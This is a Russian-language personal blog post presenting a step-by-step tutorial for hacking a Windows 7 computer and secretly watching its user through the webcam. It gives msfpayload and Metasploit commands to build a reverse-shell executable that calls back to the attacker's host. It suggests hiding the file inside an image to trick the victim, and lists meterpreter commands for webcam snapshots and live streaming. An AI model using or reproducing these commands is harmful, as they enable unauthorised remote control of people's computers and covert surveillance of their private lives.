­

Учимся!

автор Sector в 02.07.2015
17
58
предыдущая
Ингушские блоггеры о потоках лжи, которая льется от родственников Алиевых, уничтоженных в ходе спецоперации
следующая
Операция по поиску боевиков проходит в Кизилюртовском районе республики.
Содержание

Доброго времени суток! Наткнулся на статью т.н. анал кавказ где говорилось, о якобы залива шелла и слива базы, первое что попалось на глаза, это скрин сделанный ими с ОС виндовс 7 — первая мысль, школоло! так оно и оказалось в дальнейшем, капнув чуть глубже! Но это другая тема! Поговорим друзья о уязвимости Windows 7 и взлома web камеры…

И так начнем:

Для начала нам нужно, создать вредоносный исполняемый файл run_me.exe, который в BackTrack создается так, как показано ниже:

Код:
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 X > /root/Desktop/run_me.exe

LHOST=192.168.1.5 – IP-адрес атакующего
LPORT=4444 – порт атакующего

Запускаем Metasploit:

Код:
# msfconsole

Далее вводим команды:

Код:
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.1.5
> exploit

Теперь нам нужно, что пользователь запустил файл run_me.exe. Как это добиться уже другая история, как вариант можно засунуть вредоносный файл в другой файл. Например, как скрыть/склеить exe-файл в jpg можете прочитать тут. Это не единственный вариант, поэтому вооружайтесь googl’ом.

После того, когда жертва запустит файл, мы получим контроль над системой с привилегиями SYSTEM. Теперь можно делать все, что угодно! Но сейчас будем подсматривать за пользователем.

Сначала посмотрим, есть ли вообще у него web-камера?

Код:
meterpreter > webcam_list
 1: Logitech Webcam 120

Если повезло делаем снимок:

Код:
meterpreter > webcam_snap

Так же можно попробовать запустить web-камеру в режиме реального времени. Делается это следующей командой:

Код:
meterpreter > run webcam -p /var/www

После чего откроется браузер и вы будете видеть то, что видит камера. Если браузер не откроется, значит откройте его сами и в адресной строке введите:

Код:
/var/www/webcam.html

Как видите ничего сложного нет…

Личные блоги
взломКавказХакеры
, ,
Об авторе
Sector
программист
коммент.
Оставить ответ

Вы должны войти для комментирования

ТОП 10
   
Попробовать другой фильтр